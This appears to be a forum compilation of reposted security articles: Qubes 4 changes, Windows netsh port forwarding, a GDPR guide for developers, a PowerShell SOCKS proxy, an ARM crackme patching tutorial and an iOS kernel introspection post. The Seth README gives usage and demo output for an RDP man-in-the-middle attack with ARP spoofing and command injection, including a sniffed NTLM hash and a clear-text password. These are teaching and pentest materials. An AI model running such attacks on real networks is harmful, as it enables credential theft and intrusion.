features that were moved out into the panel. It seems like the ultimate goal is to move all of the features out into standalone tools, and this GUI tool is more of a stopgap to deal with the users who had relied on it in the past. Figure 2. New Qube Manager Backup and Restore The final obvious surface change you will find in Qubes 4 is in backup and restore. With the creation of the Qube Manager, you now can back up your VM's GUI again, just like with Qubes 3.2. The general backup process is the same as in the past, but starting with Qubes 4, all backups are encrypted instead of having that be optional. Restoring backups also largely behaves like in past releases. One change, however, is when restoring Qubes 3.2 VMs. Some previous release candidates couldn't restore 3.2 VMs at all. Although you now can restore Qubes 3.2 VMs in Qubes 4, there are a few changes. First, old dom0 backups won't show up to restore, so you'll need to move over those files manually. Second, old template VMs don't contain some of the new tools Qubes 4 templates have, so although you can restore them, they may not integrate well with Qubes 4 without some work. This means when you restore VMs that depend on old templates, you will want to change them to point to the new Qubes 4 templates. At that point, they should start up as usual. Conclusion As I mentioned at the beginning of this article, these are only some of the more obvious surface changes in Qubes 4. Like with most refactors, even more has changed behind the scenes as well. If you are curious about some the underlying technology changes, check out the Qubes 4 release notes and follow the links related to specific features. ______________________ Kyle Rankin is Chief Security Officer at Purism, a company focused on computers that respect your privacy, security, and freedom. He is the author of many books including Linux Hardening in Hostile Networks, DevOps Troubleshooting and The Official Ubuntu Sursa: http://www.linuxjournal.com/content/whats-new-qubes-4
  18. Posted on February 21, 2018 · Posted in Windows 10, Windows 7 Port Forwarding in Windows In Microsoft Windows, starting from Windows XP, there is a built-in ability to set up network ports forwarding. Due to it, any incoming TCP connection (IPv4 or IPv6) to local port can be redirected to another local port or even to port on the remote computer. And it is not necessary that the system has a service that listens to this port. In Linux, port redirection is configured quite simply using iptables. On Windows Server systems, the Routing and Remote Access Service (RRAS) is used to organize port forwarding. However, there is an easier way to configure the port forwarding, which works equally well in any version of Windows. Port forwarding in Windows can be configured using Portproxy mode of the command Netsh. The syntax of this command is as follows: netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport where listenaddress – is a local IP address waiting for a connection listenport – local listening TCP port (the connection is waited on it) connectaddress – is an local or remote IP address (or DNS name) to which the incoming connection will be redirected connectport – is a TCP port to which the connection from listenport is forwarded to Suppose, that our task is to make the RDP service to respond on a non-standard port, for example 3340 (the port can be changed in the settings of the service, but we will use RDP to make it easier to demonstrate forwarding). To do this, you need to redirect incoming traffic to TCP port 3340 to another local port – 3389 (standard rdp port). Start the command prompt as an administrator and perform the following command: netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110 Where 10.10.1.110 – the current IP address of this computer Using netstat make sure that port 3340 is listened now netstat -ano | findstr :3340 Note. If this command does not return anything and port forwarding via the netsh interface portproxy does not work, make sure that you have the iphlpsvc (IP Helper) service running on your system. And on the network interface for which the port forwarding rule is created, IPv6 support must be enabled. These are the prerequisites for correct port-forwarding. Without the IP Helper service and without IPv6 support enabled, the port redirection does not work. You can find out what process is listening to this port use its PID (in our example, the PID is 636): tasklist | findstr 636 Let’s try to connect to this computer from a remote system using any RDP client. Port 3340 should be specified as the RDP port.It is specified after the colon following the RDP server address, for example, 10.10.1.110:3340: The connection should be established successful. Important. Make sure that your firewall (Windows Firewall or a third-party one that are often included into an antivirus software) allows incoming connections to the new port. If necessary, you can add a new Windows Firewall rule using this command: netsh advfirewall firewall add rule name=”forwarded_RDPport_3340” protocol=TCP dir=in localip=10.1.1.110 localport=3340 action=allow When creating an incoming firewall rule for port 3340 via Windows Firewall graphical interface, no program needs to be associated with it. This port is only listened by the network driver. You can create any number of Windows port forwarding rules. All netsh interface portproxy rules are persistent and are stored in the system after a Windows restart. Display the list of forwarding rules in the system: netsh interface portproxy show all In our case there is only one forwarding rule from port 3340 to 3389: Listen on ipv4: Connect to ipv4: Address Port Address Port --------------- ---------- --------------- ---------- 10.1.1.110 3340 10.1.1.110 3389 Tip. Also, portproxy settings can be obtained as follows: netsh interface portproxy dump #======================== # Port Proxy configuration #======================== pushd interface portproxy reset add v4tov4 listenport=3340 connectaddress=10.1.1.110 connectport=3389 popd # End of Port Proxy configuration To remove a specific port forwarding rule: netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110 To clear all current port forwarding rules:: netsh interface portproxy reset Important. This forwarding scheme works only for TCP ports. You won’t be able to forward UDP ports this way. Also you can’t use 127.0.0.1 as connectaddress. If you want to forward an incoming TCP connection to another computer, the command can look like this: netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0 connectport=3389 connectaddress=192.168.100.101 This rule will redirect all incoming RDP requests (to port 3389) from this computer to a remote computer with an IP address 192.168.1.101 Another portproxy feature is an opportunity to make it look like any remote network service is operating locally. For example, forward the connection from the local port 5555 to the remote address 157.166.226.25 (CNN website): netsh interface portproxy add v4tov4 listenport=5555 connectport=80 connectaddress= 157.166.226.25 protocol=tcp Now if you go to http://localhost:5555/ in your browser, CNN Start page will open. So despite the browser addresses the local computer, it opens a remote page. Port forwarding can also be used to forward a port from an external address of a network card to a virtual machine port running on the same computer. Also, there were cases when in Windows Server 2012 R2 the port forwarding rules worked only until the system was rebooted, and after restart they were reset. In this case, you need to check whether there are periodic disconnection on the network interface, and whether the IP address changes when the OS boots (it is better to use a static IP). As a workaround, I had to add a script to the Windows scheduler with the netsh interface portproxy rules that run on the system startup. In Windows Server 2003 / XP, you must additionally set the IPEnableRouter parameter to 1 in the registry key HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters. Sursa: http://woshub.com/port-forwarding-in-windows/
  19. Black Hat Publicat pe 2 mar. 2018 Your datacenter isn't a bunch of computers, it is *a* computer. While some large organizations have over a decade of experience running software-defined datacenters at massive scale, many more large organizations are just now laying the foundations for their own cloud-scale platforms based on similar ideas. By Dino Dai Zovi
  20. Seth Seth is a tool written in Python and Bash to MitM RDP connections by attempting to downgrade the connection in order to extract clear text credentials. It was developed to raise awareness and educate about the importance of properly configured RDP connections in the context of pentests, workshops or talks. The author is Adrian Vollmer (SySS GmbH). Usage Run it like this: $ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>] Unless the RDP host is on the same subnet as the victim machine, the last IP address must be that of the gateway. The last parameter is optional. It can contain a command that is executed on the RDP host by simulating WIN+R via key press event injection. Keystroke injection depends on which keyboard layout the victim is using - currently it's only reliable with the English US layout. I suggest avoiding special characters by using powershell -enc <STRING>, where STRING is your UTF-16le and Base64 encoded command. However, calc should be pretty universal and gets the job done. The shell script performs ARP spoofing to gain a Man-in-the-Middle position and redirects the traffic such that it runs through an RDP proxy. The proxy can be called separately. This can be useful if you want use Seth in combination with Responder. Use Responder to gain a Man-in-the-Middle position and run Seth at the same time. Run seth.py -h for more information: usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}] [-j INJECT] -c CERTFILE -k KEYFILE target_host [target_port] RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017 positional arguments: target_host target host of the RDP service target_port TCP port of the target RDP service (default 3389) optional arguments: -h, --help show this help message and exit -d, --debug show debug information -f, --fake-server perform a 'fake server' attack -p LISTEN_PORT, --listen-port LISTEN_PORT TCP port to listen on (default 3389) -b BIND_IP, --bind-ip BIND_IP IP address to bind the fake service to (default all) -g {0,1,3,11}, --downgrade {0,1,3,11} downgrade the authentication protocol to this (default 3) -j INJECT, --inject INJECT command to execute via key press event injection -c CERTFILE, --certfile CERTFILE path to the certificate file -k KEYFILE, --keyfile KEYFILE path to the key file For more information read the PDF in doc/paper (or read the code!). The paper also contains recommendations for counter measures. You can also watch a twenty minute presentation including a demo (starting at 14:00) on Youtube: https://www.youtube.com/watch?v=wdPkY7gykf4 Demo The following ouput shows the attacker's view. Seth sniffs an offline crackable hash as well as the clear text password. Here, NLA is not enforced and the victim ignored the certificate warning. # ./seth.sh eth1 192.168.57.{103,2,102} ███████╗███████╗████████╗██╗ ██╗ ██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer ███████╗█████╗ ██║ ███████║ seth@vollmer.syss.de ╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017 ███████║███████╗ ██║ ██║ ██║ https://www.syss.de ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ [*] Spoofing arp replies... [*] Turning on IP forwarding... [*] Set iptables rules for SYN packets... [*] Waiting for a SYN packet to the original destination... [+] Got it! Original destination is 192.168.57.102 [*] Clone the x509 certificate of the original destination... [*] Adjust the iptables rule for all packets... [*] Run RDP proxy... Listening for new connection Connection received from 192.168.57.103:50431 Downgrading authentication options from 11 to 3 Enable SSL alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000 Tamper with NTLM response TLS alert access denied, Downgrading CredSSP Connection lost Connection received from 192.168.57.103:50409 Listening for new connection Enable SSL Connection lost Connection received from 192.168.57.103:50410 Listening for new connection Enable SSL Hiding forged protocol request from client .\alice:ilovebob Keyboard Layout: 0x409 (English_United_States) Key press: LShift Key press: S Key release: S Key release: LShift Key press: E Key release: E Key press: C Key release: C Key press: R Key release: R Key press: E Key release: E Key press: T Key release: T Connection lost [*] Cleaning up... [*] Done. Requirements python3 tcpdump arpspoof arpspoof is part of dsniff openssl Disclaimer Use at your own risk. Do not use without full consent of everyone involved. For educational purposes only. Sursa: https://github.com/SySS-Research/Seth
  21. GDPR – A Practical Guide For Developers Bozho November 29, 2017 You’ve probably heard about GDPR. The new European data protection regulation that applies practically to everyone. Especially if you are working in a big company, it’s most likely that there’s already a process for getting your systems in compliance with the regulation. The regulation is basically a law that must be followed in all European countries (but also applies to non-EU companies that have users in the EU). In this particular case, it applies to companies that are not registered in Europe, but are having European customers. So that’s most companies. I will not go into yet another “12 facts about GDPR” or “7 myths about GDPR” posts/whitepapers, as they are often aimed at managers or legal people. Instead, I’ll focus on what GDPR means for developers. Why am I qualified to do that? A few reasons – I was advisor to the deputy prime minister of a EU country, and because of that I’ve been both exposed and myself wrote some legislation. I’m familiar with the “legalese” and how the regulatory framework operates in general. I’m also a privacy advocate and I’ve been writing about GDPR-related stuff in the past, i.e. “before it was cool” (protecting sensitive data, the right to be forgotten). And finally, I’m currently working on a project that (among other things) aims to help with covering some GDPR aspects. I’ll try to be a bit more comprehensive this time and cover as many aspects of the regulation that concern developers as I can. And while developers will mostly be concerned about how the systems they are working on have to change, it’s not unlikely that a less informed manager storms in in late spring, realizing GDPR is going to be in force tomorrow, asking “what should we do to get our system/website compliant”. The rights of the user/client (referred to as “data subject” in the regulation) that I think are relevant for developers are: the right to erasure (the right to be forgotten/deleted from the system), right to restriction of processing (you still keep the data, but mark it as “restricted” and don’t touch it without further consent by the user), the right to data portability (the ability to export one’s data in a machine-readable format), the right to rectification (the ability to get personal data fixed), the right to be informed (getting human-readable information, rather than long terms and conditions), the right of access (the user should be able to see all the data you have about them). Additionally, the relevant basic principles are: data minimization (one should not collect more data than necessary), integrity and confidentiality (all security measures to protect data that you can think of + measures to guarantee that the data has not been inappropriately modified). Even further, the regulation requires certain processes to be in place within an organization (of more than 250 employees or if a significant amount of data is processed), and those include keeping a record of all types of processing activities carried out, including transfers to processors (3rd parties), which includes cloud service providers. None of the other requirements of the regulation have an exception depending on the organization size, so “I’m small, GDPR does not concern me” is a myth. It is important to know what “personal data” is. Basically, it’s every piece of data that can be used to uniquely identify a person or data that is about an already identified person. It’s data that the user has explicitly provided, but also data that you have collected about them from either 3rd parties or based on their activities on the site (what they’ve been looking at, what they’ve purchased, etc.) Having said that, I’ll list a number of features that will have to be implemented and some hints on how to do that, followed by some do’s and don’t’s. “Forget me” – you should have a method that takes a userId and deletes all personal data about that user (in case they have been collected on the basis of consent or based on the legitimate interests of the controller (see more below), and not due to contract enforcement or legal obligation). It is actually useful for integration tests to have that feature (to cleanup after the test), but it may be hard to implement depending on the data model. In a regular data model, deleting a record may be easy, but some foreign keys may be violated. That means you have two options – either make sure you allow nullable foreign keys (for example an order usually has a reference to the user that made it, but when the user requests his data be deleted, you can set the userId to null), or make sure you delete all related data (e.g. via cascades). This may not be desirable, e.g. if the order is used to track available quantities or for accounting purposes. It’s a bit trickier for event-sourcing data models, or in extreme cases, ones that include some sort of blockchain/hash chain/tamper-evident data structure. With event sourcing you should be able to remove a past event and re-generate intermediate snapshots. For blockchain-like structures – be careful what you put in there and avoid putting personal data of users. There is an option to use a chameleon hash function, but that’s suboptimal. Overall, you must constantly think of how you can delete the personal data. And “our data model doesn’t allow it” isn’t an excuse. What about backups? Ideally, you should keep a separate table of forgotten user IDs, so that each time you restore a backup, you re-forget the forgotten users. This means the table should be in a separate database or have a separate backup/restore process. Notify 3rd parties for erasure – deleting things from your system may be one thing, but you are also obligated to inform all third parties that you have pushed that data to. So if you have sent personal data to, say, Salesforce, Hubspot, twitter, or any cloud service provider, you should call an API of theirs that allows for the deletion of personal data. If you are such a provider, obviously, your “forget me” endpoint should be exposed. Calling the 3rd party APIs to remove data is not the full story, though. You also have to make sure the information does not appear in search results. Now, that’s tricky, as Google doesn’t have an API for removal, only a manual process. Fortunately, it’s only about public profile pages that are crawlable by Google (and other search engines, okay…), but you still have to take measures. Ideally, you should make the personal data page return a 404 HTTP status, so that it can be removed. Restrict processing – in your admin panel where there’s a list of users, there should be a button “restrict processing”. The user settings page should also have that button. When clicked (after reading the appropriate information), it should mark the profile as restricted. That means it should no longer be visible to the backoffice staff, or publicly. You can implement that with a simple “restricted” flag in the users table and a few if-clasues here and there. Export data – there should be another button – “export data”. When clicked, the user should receive all the data that you hold about them. What exactly is that data – depends on the particular usecase. Usually it’s at least the data that you delete with the “forget me” functionality, but may include additional data (e.g. the orders the user has made may not be delete, but should be included in the dump). The structure of the dump is not strictly defined, but my recommendation would be to reuse schema.org definitions as much as possible, for either JSON or XML. If the data is simple enough, a CSV/XLS export would also be fine. Sometimes data export can take a long time, so the button can trigger a background process, which would then notify the user via email when his data is ready (twitter, for example, does that already – you can request all your tweets and you get them after a while). You don’t need to implement an automated export, although it would be nice. It’s sufficient to have a process in place to allow users to request their data, which can be a manual database-querying process. Allow users to edit their profile – this seems an obvious rule, but it isn’t always followed. Users must be able to fix all data about them, including data that you have collected from other sources (e.g. using a “login with facebook” you may have fetched their name and address). Rule of thumb – all the fields in your “users” table should be editable via the UI. Technically, rectification can be done via a manual support process, but that’s normally more expensive for a business than just having the form to do it. There is one other scenario, however, when you’ve obtained the data from other sources (i.e. the user hasn’t provided their details to you directly). In that case there should still be a page where they can identify somehow (via email and/or sms confirmation) and get access to the data about them. Consent checkboxes – “I accept the terms and conditions” would no longer be sufficient to claim that the user has given their consent for processing their data. So, for each particular processing activity there should be a separate checkbox on the registration (or user profile) screen. You should keep these consent checkboxes in separate columns in the database, and let the users withdraw their consent (by unchecking these checkboxes from their profile page – see the previous point). Ideally, these checkboxes should come directly from the register of processing activities (if you keep one). Note that the checkboxes should not be preselected, as this does not count as “consent”. Another important thing here is machine learning/AI. If you are going to use the user’s data to train your ML models, you should get consent for that as well (unless it’s for scientific purposes, which have special treatment in the regulation). Note here the so called “legitimate interest”. It is for the legal team to decide what a legitimate interest is, but direct marketing is included in that category, as well as any common sense processing relating to the business activity – e.g. if you collect addresses for shipping, it’s obviously a legitimate interest. So not all processing activities need consent checkboxes. Re-request consent – if the consent users have given was not clear (e.g. if they simply agreed to terms & conditions), you’d have to re-obtain that consent. So prepare a functionality for mass-emailing your users to ask them to go to their profile page and check all the checkboxes for the personal data processing activities that you have. “See all my data” – this is very similar to the “Export” button, except data should be displayed in the regular UI of the application rather than an XML/JSON format. I wouldn’t say this is mandatory, and you can leave it as a “desirable” feature – for example, Google Maps shows you your location history – all the places that you’ve been to. It is a good implementation of the right to access. (Though Google is very far from perfect when privacy is concerned). This is not all about the right to access – you have to let unregistered users ask whether you have data about them, but that would be a more manual process. The ideal minimum would be to have a feature “check by email”, where you check if you have data about a particular email. You also need to tell the user in what ways you are processing their data. You can simply print all the records in your data process register for which the user has consented to. Age checks – you should ask for the user’s age, and if the user is a child (below 16), you should ask for parent permission. There’s no clear way how to do that, but my suggestion is to introduce a flow, where the child should specify the email of a parent, who can then confirm. Obviously, children will just cheat with their birthdate, or provide a fake parent email, but you will most likely have done your job according to the regulation (this is one of the “wishful thinking” aspects of the regulation). Keeping data for no longer than necessary – if you’ve collected the data for a specific purpose (e.g. shipping a product), you have to delete it/anonymize it as soon as you don’t need it. Many e-commerce sites offer “purchase without registration”, in which case the consent goes only for the particular order. So you need a scheduled job/cron to periodically go through the data and anonymize it (delete names and addresses), but only after a certain condition is met – e.g. the product is confirmed as delivered. You can have a database field for storing the deadline after which the data should be gone, and that deadline can be extended in case of a delivery problem. Now some “do’s”, which are mostly about the technical measures needed to protect personal data (outlined in article 32). They may be more “ops” than “dev”, but often the application also has to be extended to support them. I’ve listed most of what I could think of in a previous post. An important note here is that this is not mandated by the regulation, but it’s a good practice anyway and helps with protecting personal data. Encrypt the data in transit. That means that communication between your application layer and your database (or your message queue, or whatever component you have) should be over TLS. The certificates could be self-signed (and possibly pinned), or you could have an internal CA. Different databases have different configurations, just google “X encrypted connections. Some databases need gossiping among the nodes – that should also be configured to use encryption Encrypt the data at rest – this again depends on the database (some offer table-level encryption), but can also be done on machine-level. E.g. using LUKS. The private key can be stored in your infrastructure, or in some cloud service like AWS KMS. Encrypt your backups – kind of obvious Implement pseudonymisation – the most obvious use-case is when you want to use production data for the test/staging servers. You should change the personal data to some “pseudonym”, so that the people cannot be identified. When you push data for machine learning purposes (to third parties or not), you can also do that. Technically, that could mean that your User object can have a “pseudonymize” method which applies hash+salt/bcrypt/PBKDF2 for some of the data that can be used to identify a person. Pseudonyms could be reversible or not, depending on the usecase (the definition in the regulation implies reversibility based on a secret information, but in the case of test/staging data it might not be). Some databases have such features built-in, e.g. Orale. Protect data integrity – this is a very broad thing, and could simply mean “have authentication mechanisms for modifying data”. But you can do something more, even as simple as a checksum, or a more complicated solution (like the one I’m working on). It depends on the stakes, on the way data is accessed, on the particular system, etc. The checksum can be in the form of a hash of all the data in a given database record, which should be updated each time the record is updated through the application. It isn’t a strong guarantee, but it is at least something. Have your GDPR register of processing activities in something other than Excel – Article 30 says that you should keep a record of all the types of activities that you use personal data for. That sounds like bureaucracy, but it may be useful – you will be able to link certain aspects of your application with that register (e.g. the consent checkboxes, or your audit trail records). It wouldn’t take much time to implement a simple register, but the business requirements for that should come from whoever is responsible for the GDPR compliance. But you can advise them that having it in Excel won’t make it easy for you as a developer (imagine having to fetch the excel file internally, so that you can parse it and implement a feature). Such a register could be a microservice/small application deployed separately in your infrastructure. Log access to personal data – every read operation on a personal data record should be logged, so that you know who accessed what and for what purpose. This does not follow directly from the provisions of the regulation, but it is kinda implied from the accountability principles. What about search results (or lists) that contain personal data about multiple subjects? My hunch is that simply logging “user X did a search for criteria Y” would suffice. But don’t display too many personal data in lists – for example see how facebook makes you go through some hoops to get a person’s birthday. Note: some have treated article 30 as a requirement to keep an audit log. I don’t think it is saying that – instead it requires 250+ companies (or companies processing data regularly) to keep a register of the types of processing activities (i.e. what you use the data for). There are other articles in the regulation that imply that keeping an audit log is a best practice (for protecting the integrity of the data as well as to make sure it hasn’t been processed without a valid reason) Register all API consumers – you shouldn’t allow anonymous API access to personal data. I’d say you should request the organization name and contact person for each API user upon registration, and add those to the data processing register. Finally, some “don’t’s”. Don’t use data for purposes that the user hasn’t agreed with – that’s supposed to be the spirit of the regulation. If you want to expose a new API to a new type of clients, or you want to use the data for some machine learning, or you decide to add ads to your site based on users’ behaviour, or sell your database to a 3rd party – think twice. I would imagine your register of processing activities could have a button to send notification emails to users to ask them for permission when a new processing activity is added (or if you use a 3rd party register, it should probably give you an API). So upon adding a new processing activity (and adding that to your register), mass email all users from whom you’d like consent. Note here that additional legitimate interests of the controller might be added dynamically. Don’t log personal data – getting rid of the personal data from log files (especially if they are shipped to a 3rd party service) can be tedious or even impossible. So log just identifiers if needed. And make sure old logs files are cleaned up, just in case Don’t put fields on the registration/profile form that you don’t need – it’s always tempting to just throw as many fields as the usability person/designer agrees on, but unless you absolutely need the data for delivering your service, you shouldn’t collect it. Names you should probably always collect, but unless you are delivering something, a home address or phone is unnecessary. Don’t assume 3rd parties are compliant – you are responsible if there’s a data breach in one of the 3rd parties (e.g. “processors”) to which you send personal data. So before you send data via an API to another service, make sure they have at least a basic level of data protection. If they don’t, raise a flag with management. Don’t assume having ISO XXX makes you compliant – information security standards and even personal data standards are a good start and they will probably 70% of what the regulation requires, but they are not sufficient – most of the things listed above are not covered in any of those standards Overall, the purpose of the regulation is to make you take conscious decisions when processing personal data. It imposes best practices in a legal way. If you follow the above advice and design your data model, storage, data flow , API calls with data protection in mind, then you shouldn’t worry about the huge fines that the regulation prescribes – they are for extreme cases, like Equifax for example. Regulators (data protection authorities) will most likely have some checklists into which you’d have to somehow fit, but if you follow best practices, that shouldn’t be an issue. I think all of the above features can be implemented in a few weeks by a small team. Be suspicious when a big vendor offers you a generic plug-and-play “GDPR compliance” solution. GDPR is not just about the technical aspects listed above – it does have organizational/process implications. But also be suspicious if a consultant claims GDPR is complicated. It’s not – it relies on a few basic principles that are in fact best practices anyway. Just don’t ignore them. Sursa: https://techblog.bozho.net/gdpr-practical-guide-developers/
  22. Invoke-SocksProxy Creates a Socks proxy using powershell. Supports both Socks4 and Socks5 connections. Examples Create a Socks 4/5 proxy on port 1234: Import-Module .\Invoke-SocksProxy.psm1 Invoke-SocksProxy -bindPort 1234 Create a simple tcp port forward: Import-Module .\Invoke-SocksProxy.psm1 Invoke-PortFwd -bindPort 33389 -destHost 127.0.0.1 -destPort 3389 Limitations This is only a subset of the Socks 4 and 5 protocols: It does not support authentication, It does not support UDP or bind requests. Used connections are not always dismissed, causing a memory leak. New features will be implemented in the future. PR are welcome. Sursa: https://github.com/p3nt4/Invoke-SocksProxy
  23. Reversing ARM Binaries by @bellis1000 In this beginner-friendly tutorial we will take a look at the process of reverse engineering a simple ARM binary and patching it. The specific binary we will look at is named 'patchme1' and is a small program designed specifically for the purpose of this tutorial. Executing the program with zero arguments gives us a short 'usage' message that lets us know that we will need some kind of key in order to use this app. Executing it again, this time with a random key as the first argument, gives us a red error message telling us that we have entered an incorrect key. So where do we go from here? Natural instinct for anyone with any kind of reversing knowlegde would be to scan the binary for strings to see if the key happens to be stored in plain ASCII text. We can do so by opening the patchme1 binary in Hopper disassembler for OS X (or another disassembler tool such as IDA or radare2) and navigating to the 'strings' section. Unfortunately for us, the key is not stored in plain ASCII. The only strings we can see are the 'usage' message, the 'invalid key' message, the path to /bin/sh and a 'You're in!' message. So what now? It is clear that this challenge will not be as simple as finding a string and using it to get through the check. We will need to look deeper into how this program works, and we'll start by disassembling main(). We will start with the first chunk of instructions, up until the point of the first conditional branch. The first few instructions aren't too interesting. These instructions just make up the generic function prologue that contains the standard things you'd see in most ARM assembly functions, such as setting up the stack for later returning. Below that, we have a series of memory access instructions (LDRs and STRs) and then a CMP instruction, comparing the value of R0 to 0x2. This is simply checking the number of arguments the user supplied when executing the program. The BGE (Branch if Greater than or Equal to) instruction following this comparison then determines whether we are given the 'usage' message or whether we proceed to the next part of the program. We don't care too much about the 'usage' thing, so we'll continue on to the next stage of the program. There are some interesting things happening here. Firstly, R0 is being loaded with user-supplied key and then a function 'hash' is BL(Branch with Link)'d to. The BL instruction is the equivalent of a CALL type instruction. It jumps or 'branches' to a new location in memory (in this case the entry point of the hash function) and then it returns to its caller. Following the call to the hash function, there is a comparison between R0 and a very specific value, 0x203623b1. If the two are not equal, we branch to 0xbef0 which displays the 'invalid key' message and then exits. However, if they are equal then we continue to the restricted area of the program which, by looking at the disassembly, gives us a welcome message and then spawns a shell. So how do we get that very specific value into R0? On ARM, function return values are passed in R0. This makes it pretty clear and obvious that the hash function is what is generating this number (if you didn't already guess). Looking at the disassembly for the hash function would likely overwhelm beginners (who of which this post is targetted at) so instead we will cheat and have a sneak peak at the source code instead ;). From the above code snippet we can understand that this 'hash' function takes in an array of chars (data[]) and returns an unsigned integer. The actual body of this function contains a loop that iterates through the characters in the char array an XOR(Exclusive OR)s each of them with the random number 83, adding the result to an integer variable named 'hash' and then multiplying the value of this by another random value, 839286441. So in summary, this function implements a very basic hashing algorithm that generates a hash of the data passed to it and returns this hash to the caller. If you know anything about hashing algorithms, you'll know that even simple ones like this are very tedious to reverse (find some specific data that returns a specific hash) so it would be easier for us to just patch this simple binary instead. There are a few ways we could patch this specific binary, but we'll go with the simplest way which would be to remove or 'NOP out' this instruction: But what is a NOP? NOP stands for No-Operation and it is essentially an instruction that when executed, has no effect on the program or the state of the registers. In other words, it does nothing. We can use this to our advantage by placing a NOP where the conditional branch instruction would be, thus causing execution to automatically follow on to the chunk of code that executes the shell. In the ARMv7 instruction set, there is no dedicated NOP instruction, but we can easily create our own. Something like 'MOV R0, R0' acts as a NOP instruction. It moves the value of R0 into R0, leaving the registers unchanged. So it does nothing. To actually replace the instruction with our NOP we could use Hopper's built-in 'NOP Region' feature, however we will not be able to export the binary on the free version. Instead, I will assume that we don't have access to the full/paid version of Hopper and patch the instruction manually. We first need the encoding of our target instruction. This can be found in the right side bar in Hopper. Now, using your favourite Hex editor application (I'm using iHex), open the patchme1 binary and search for this specific byte combination inside the binary file. Once you've found it you can replace these 4 bytes with the bytes representing your chosen NOP instruction. In my case I will use 'MOV R0, R0' which has the instruction encoding of 00 00 A0 E1. Save the file, and you're done! You've successfully patched the program by replacing a single instruction. To test that the patch works as expected, execute the new patchme1 binary and see what happens. As the above screenshot shows, we are given access to the shell no matter what data we enter for the key. Challenge complete! Hopefully you enjoyed this short tutorial! If you're new to ARM assembly then I highly recommend Azeria's set of tutorials. If you want to learn more on the topic of reverse engineering and exploit development on the ARM platform check out my book as well as my set of 'ARM Exploit Exercises' available on my Github. Thanks for reading! Feel free to tweet me @bellis1000 if you have any questions Copyright (c) 2018 ZygoSec Sursa: https://zygosec.com/post1.html
      • 1
      • Like
  24. Live kernel introspection on iOS by Brandon Azad September 15, 2017 Part of effective security research is having the right tools to analyze vulnerabilities. Apple allows users to develop kernel extensions and debug the kernel on macOS, but neither is supported on iOS. This post explains how I developed memctl, a kernel introspection tool for macOS and iOS that I’ve been using for the past year to analyze the kernel. Memctl uses the kernel task port to reliably read and write kernel memory and to reliably call arbitrary kernel functions with arbitrary arguments on both macOS and iOS. Other useful features are implemented on top of this basic functionality, mostly convenience routines to call kernel functions that would otherwise be difficult to find or call. Memctl’s functionality is provided both as a library (called libmemctl) and as a command-line tool. Coincidentally, Ian Beer described how he developed his own kernel memory debugger in Exception-oriented exploitation on iOS, which was published late into my work on memctl. To me this shows how useful such a tool could be. While I developed memctl primarily for my own use, I am open-sourcing it in case someone else finds my work useful. Table of Contents Kernel debugging on iOS An overview of memctl Basic kernel memory access Finding the kernel slide Generic kernel function calls on iOS and macOS Arbitrary kernel function calls on AArch64 Arbitrary kernel function calls on x86_64 Safe kernel memory access Implementing mach_portal with libmemctl Examples of using memctl Conclusion Kernel debugging on iOS Debuggers make analyzing security vulnerabilities much easier. Unfortunately, outside of Apple, there is no straightforward way to support true kernel debugging on iOS. Memctl is my attempt at the next best thing: creating a framework to provide some of the functionality of a kernel debugger. Unfortunately, memctl does not support breakpoints, which is why I call it a kernel introspection tool rather than a debugger. It might be possible to implement live kernel breakpoints (where the debugger is running on the kernel being debugged), but this seems difficult and error-prone at best, and would certainly need a Kernel Patch Protection bypass. What memctl does support is the memory access part of a debugger.1 Specifically, libmemctl includes functions to safely (or, as safely as possible) read and write kernel memory. All other features, including the ability to call kernel functions, are built on top of this capability. Of course, Apple does not provide a way for user-space programs to directly access kernel memory; we’ll need a way around these restrictions. One way is to use a kernel vulnerability directly. Another way, more common on jailbroken devices, is to access the kernel task through a Mach port. The advantage of using the kernel task port is that the API is consistent: you don’t need to rewrite your memory access functions if you switch to a different vulnerability. Libmemctl uses the kernel task approach. However, this means that in order to get memctl running on a platform, we need an exploit that obtains the kernel task port. Fortunately, many iOS jailbreaks, including mach_portal and yalu102, provide a way for programs to access the kernel task port, meaning memctl can run on top of these jailbreaks. I’ve only tested memctl on those two, but theoretically it should work fine on other jailbreaks as well. An overview of memctl Memctl is divided into two parts: a library called libmemctl that implements kernel introspection, modification, and function calling, and a command-line tool called memctl that allows users to access much of this functionality from the terminal. However, you also need a third part that is separate from memctl: a library called a “core” to get the kernel task port. The purpose of the core is simply to give memctl a consistent API through which it can obtain the kernel task port. On jailbroken devices, the core could be as simple as a call to task_for_pid(0) or host_get_special_port(4).2 However, non-jailbroken devices will need a core that actually exploits a vulnerability to install a send right to the kernel task into the current task. The memctl-physmem-core repository shows how to do this for the physmem vulnerability, although physmem is likely easier to exploit than most modern vulnerabilities. The primary purpose of libmemctl is to provide a safe API to access kernel memory and call kernel functions. In order to do so, libmemctl offers many features: A partial AArch64 disassembler and simulator On-device kernelcache decompression Symbol resolution for exported symbols Special symbol resolution to find certain unexported symbols on AArch64, including vtables Discovery of the kASLR slide Kernel virtual and physical memory read and write, including safe memory scanning Virtual-to-physical address translation Kernel memory allocation Kernel function calling (with up to 8 arguments on AArch64) Process and task modification Privilege escalation The memctl command-line utility packages libmemctl so that it can be used to debug the device on 